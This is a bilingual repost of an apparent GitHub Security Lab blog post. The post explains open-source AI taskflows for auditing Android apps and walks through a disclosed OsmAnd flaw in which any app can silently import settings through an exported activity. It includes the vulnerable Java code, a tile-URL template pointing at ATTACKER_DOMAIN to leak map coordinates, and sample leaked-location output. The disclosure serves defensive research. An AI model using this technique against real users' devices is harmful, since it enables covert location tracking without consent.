GitHub Security Lab开源AI安全Agent实战:发现24个A
How we found 24 Android vulnerabilities using our open source AI security agent
这是一篇极具复用价值的一手工程实践复盘,完整披露了利用开源AI Agent进行Android安全审计的工作流、Prompt设计思路及具体漏洞复现细节,非常适合关注AI安全与移动应用安全的开发者参考落地。
With the rise of AI in the security space, our team created the GitHub Security Lab Taskflow Agent as a way for security researchers to easily automate, package, and share the AI prompts and workflows that they find effective for their work. In this blog post, I’ll share how I created auditing taskflows to find vulnerabilities in Android applications.
随着 AI 在安全领域的兴起,我们的团队创建了 GitHub Security Lab Taskflow Agent,旨在让安全研究人员能够轻松地将他们发现对工作有效的 AI 提示词和工作流进行自动化、打包和共享。在这篇博客文章中,我将分享我是如何创建审计任务流以在 Android 应用程序中发现漏洞的。
While new models are getting better at understanding code, custom taskflow prompts let security researchers guide them—splitting research into incremental steps to help the LLM find complex vulnerabilities faster, or that it would have missed entirely.
虽然新模型在理解代码方面变得更好,但自定义的任务流提示词可以让安全研究人员引导它们——将研究拆分为增量步骤,以帮助 LLM 更快地发现复杂漏洞,或者发现那些原本会被完全忽略的漏洞。
Using these taskflows, I’ve reported more than 20 vulnerabilities in Android applications. You can check out our advisories page to see when new vulnerabilities are disclosed. Otherwise, keep reading for a few concrete examples of high-impact vulnerabilities that these taskflows found.
使用这些任务流,我已经报告了 20 多个 Android 应用程序中的漏洞。你可以查看我们的公告页面,了解新漏洞披露的时间。否则,请继续阅读,看看这些任务流发现的几个具有高影响力的漏洞的具体示例。
How to run the taskflows on your own project
如何在自己的项目上运行任务流
Want to get started right away? The taskflows are open source and easy to run yourself. Please note: A GitHub Copilot license is required, and the prompts will use premium model requests. Running the taskflows can result in many tool calls, which can easily consume a large amount of tokens.
想立即开始吗?这些任务流是开源的,并且可以轻松地在本地运行。请注意:需要 GitHub Copilot 许可证,并且提示词将消耗高级模型请求额度。运行任务流可能会导致大量的工具调用,从而轻易消耗大量 token。
- Go to the seclab-taskflows repository and start a codespace.
- Wait a few minutes for the codespace to initialize.
- In the terminal, run ./scripts/audit/run_mobile.sh myorg/myrepo
- 前往 seclab-taskflows 仓库并启动一个 codespace。
- 等待几分钟让 codespace 初始化。
- 在终端中,运行 ./scripts/audit/run_mobile.sh myorg/myrepo
It might take an hour or two to finish on a medium-sized repository. When it finishes, it’ll open an SQLite viewer with the results. Open the “audit_results” table and look for rows with a checkmark in the “has_vulnerability” column.
在中等规模的仓库上完成可能需要一两个小时。完成后,它将打开一个包含结果的 SQLite 查看器。打开“audit_results”表,并查找“has_vulnerability”列中有勾号的行。
Creating targeted audit taskflows for Android apps
为 Android 应用创建针对性的审计任务流
My colleagues Peter and Mo previously wrote a blog post about their audit task flows. Although those taskflows already work well on their own, Android applications have their own specific classes of vulnerabilities that we’d like the taskflows to focus on, so we need to guide them.
我的同事 Peter 和 Mo 之前写过一篇关于他们的审计任务流的博客文章。尽管这些任务流本身已经运行良好,但 Android 应用程序有其特定类别的漏洞,我们希望任务流能专注于此,因此我们需要对其进行引导。
First, I added a taskflow called gather_mobile_entry_point_info.yaml. Entry points are places in the code that attacker-controlled data could flow through. This taskflow takes the entry points and separates them into mobile entry points and non-mobile entry points. This allows the AI to run on repos that contain a variety of different application types—a mobile application, web servers, desktop applicationswhile still understanding the correct attack surface.
首先,我添加了一个名为 gather_mobile_entry_point_info.yaml 的任务流。入口点是攻击者可控数据可能流经的代码位置。该任务流将这些入口点分离为移动入口点和非移动入口点。这使得 AI 能够在包含各种不同类型应用的仓库(如移动应用、Web 服务器、桌面应用)上运行,同时仍能正确理解攻击面。
Second, I edited classify_application_local.yaml. In it, I specify a list of popular vulnerability classes and ask the LLM to consider them in the context of each entry point and component. Since mobile application vulnerabilities are less widely known and LLMs are non-deterministic, we should ensure the LLM checks for certain essential vulnerabilities classes. For example, if in the previous step the taskflow identified an intent-based entry point, then it should have a list of common intent-based vulnerabilities it will check for, such as confused deputy or insecure broadcasts. This helps the LLM find connections between components and maintain an overview of the threat model.
其次,我编辑了 classify_application_local.yaml。在其中,我指定了一组流行的漏洞类别列表,并要求 LLM 在考虑每个入口点和组件的上下文时纳入这些类别。由于移动应用漏洞的认知度较低,且 LLM 具有非确定性,因此应确保 LLM 检查某些关键的漏洞类别。例如,如果在上一步中 taskflow 识别出了基于 Intent 的入口点,那么它应该有一个常见的基于 Intent 的漏洞列表供其检查,例如混淆副手(confused deputy)或不安全的广播(insecure broadcasts)。这有助于 LLM 发现组件之间的联系,并保持对威胁模型的全局概览。
By combining both prompts across multiple runs, we get the best of each: the strict prompt and repeated runs ensure obvious vulnerabilities aren’t missed, while the broad prompt lets the AI apply its creativity to the fullest.
通过结合多次运行中的两种提示词,我们兼得两者之长:严格的提示词和重复运行确保不会遗漏明显的漏洞,而广泛的提示词则让 AI 充分发挥其创造力。
Two examples of vulnerabilities found by the taskflows
taskflow 发现的两个漏洞示例
In this section, we’ll show two examples of vulnerabilities that were found by the taskflows and that have already been disclosed. In total, we have found and reported 24 vulnerabilities so far.
在本节中,我们将展示两个由 taskflow 发现且已公开的漏洞示例。截至目前,我们共发现并报告了 24 个漏洞。
Tracking Users via OsmAnd
通过 OsmAnd 追踪用户
OsmAnd is a popular third-party navigation app that uses Open-Street-Map as its main data source. Available on both the App Store and Play Store, we will look at the Android version, which has over 10 million downloads. In this section, we will look at the most interesting of the three vulnerabilities that were discovered: a vulnerability that allows malicious apps to track the location of the device.
OsmAnd 是一款流行的第三方导航应用,以 OpenStreetMap 作为其主要数据源。该应用在 App Store 和 Play Store 上均可下载,我们将关注其 Android 版本,该版本下载量已超过 1000 万次。在本节中,我们将探讨所发现的三个漏洞中最有趣的一个:一个允许恶意应用追踪设备位置的漏洞。
OsmAnd exports an activity called MapActivity. An Android activity is a single, focused screen in an app that provides a UI for the user to interact with. MapActivity handles opening settings files and deeplinks within the app and is exported. An exported activity is an activity that can be launched by components outside of its own app.
OsmAnd 导出了一项名为 MapActivity 的活动。Android Activity 是应用中单一、专注的屏幕,为用户提供交互界面。MapActivity 负责处理应用内设置文件的打开以及深度链接(deeplinks),并且已被导出。导出的 Activity 是指可以被其所属应用之外的其他组件启动的 Activity。
However, when opening settings files, the app allows for intent extras (settings_version, silent_import, replace, export_type_list_key). Intents are messaging objects in Android used to request an action from another app component, and intent extras are key-value pairs of data attached to an intent to pass information along with that request. MapActivity only expects these extras to come from an AIDL service. They should have been passed through an in-process channel instead of intent extras, because any app can put arbitrary extras on any intent to any exported activity. Android provides no mechanism to restrict which extras an external caller can set.
然而,在打开设置文件时,该应用允许传递意图附加数据(settings_version、silent_import、replace、export_type_list_key)。Intent 是 Android 中用于请求另一个应用组件执行操作的通信对象,而 intent extras 是附加在 intent 上的键值对数据,用于随请求一起传递信息。MapActivity 仅期望这些附加数据来自 AIDL 服务。它们本应通过进程内通道传递,而不是通过 intent extras,因为任何应用都可以向任何已导出的 activity 的任意 intent 添加任意的附加数据。Android 没有提供机制来限制外部调用者可以设置的附加数据。
Because MapActivity is exported, any app can send an intent to the activity with any extras we want, including intent extras that can allow us to import settings to the app undetected. The Android app uses the handleOsmAndSettingsImport function to import the following settings:
由于 MapActivity 是导出的,任何应用都可以向该 activity 发送带有我们想要的任意附加数据的 intent,包括允许我们在未察觉的情况下将设置导入应用的 intent 附加数据。该 Android 应用使用 handleOsmAndSettingsImport 函数导入以下设置:
- SilentImport: allows importing without a notification
- Replace: allows us to replace instead of just add settings
- SettingsTypes: allows us to import without a user confirmation
- SilentImport:允许在不显示通知的情况下进行导入
- Replace:允许我们替换设置,而不仅仅是添加设置
- SettingsTypes:允许我们在无需用户确认的情况下进行导入
private void handleOsmAndSettingsImport(Uri intentUri, String fileName, Bundle extras) {
fileName = fileName.replace(ZIP_EXT, "");
if (extras != null && CollectionUtils.containsAny(extras.keySet(),
SETTINGS_VERSION_KEY, SETTINGS_LATEST_CHANGES_KEY)) {
int version = extras.getInt(SETTINGS_VERSION_KEY, -1);
String latestChanges = extras.getString(SETTINGS_LATEST_CHANGES_KEY);
boolean replace = extras.getBoolean(REPLACE_KEY); // ← attacker-controlled
boolean silentImport = extras.getBoolean(SILENT_IMPORT_KEY); // ← attacker-controlled
ArrayList<String> exportTypeKeys =
extras.getStringArrayList(EXPORT_TYPE_LIST_KEY); // ← attacker-controlled
List<ExportType> exportTypes = null;
if (exportTypeKeys != null) {
exportTypes = ExportType.valuesOf(exportTypeKeys);
}
handleOsmAndSettingsImport(intentUri, fileName, exportTypes,
replace, silentImport, latestChanges, version);
} else {
handleOsmAndSettingsImport(intentUri, fileName,
null, false, false, null, -1); // safe defaults
}
}Since we can now import any settings we want, we can make several critical changes. For example, we can replace tiles on the map. OsmAnd formats the URL for each tile in the following format:
既然我们现在可以导入任何我们想要的设置,我们就可以进行几项关键更改。例如,我们可以替换地图上的瓦片。OsmAnd 按照以下格式为每个瓦片格式化 URL:
return MessageFormat.format(urlTemplate, zoom + "", x + "", y + "");By default, OsmAnd uses local tiles, however we can overwrite the default tile files with the following URL:
默认情况下,OsmAnd 使用本地瓦片,但我们可以使用以下 URL 覆盖默认的瓦片文件:
f"{ATTACKER_DOMAIN}/tiles/{{0}}/{{1}}/{{2}}.png",Then, we can leak the exact x, y coordinates of every tile. The URL expects the response of that URL to contain an image for the tile so on the attacker server backend, we serve the according tile from OpenStreetMaps. The attacker has a list of the x, y coordinates of every tile the user had loaded on the OsmAnd app, and the user has no idea the settings of their app have been changed. This allows any app, even one with no permissions, to overwrite the settings of OsmAnd and send back private location data to their server.
然后,我们可以泄露每个瓦片的精确 x、y 坐标。该 URL 期望其响应包含该瓦片的图像,因此在攻击者的服务器后端,我们从 OpenStreetMaps 提供相应的瓦片。攻击者拥有用户在 OsmAnd 应用中加载的每个瓦片的 x、y 坐标列表,而用户完全不知道其应用设置已被更改。这使得任何应用,即使没有任何权限,也能覆盖 OsmAnd 的设置并将私有位置数据发送回其服务器。
# [TILE #1] 14:23:07 z=15 x=9649 y=12320
# ├── center: 40.70979, -73.98743
# └── 🗺️ https://www.openstreetmap.org/#map=15/40.70979/-73.98743更进一步:量化金融体系
看懂新闻只是起点——沿量化金融路径,把它变成能交付的工程能力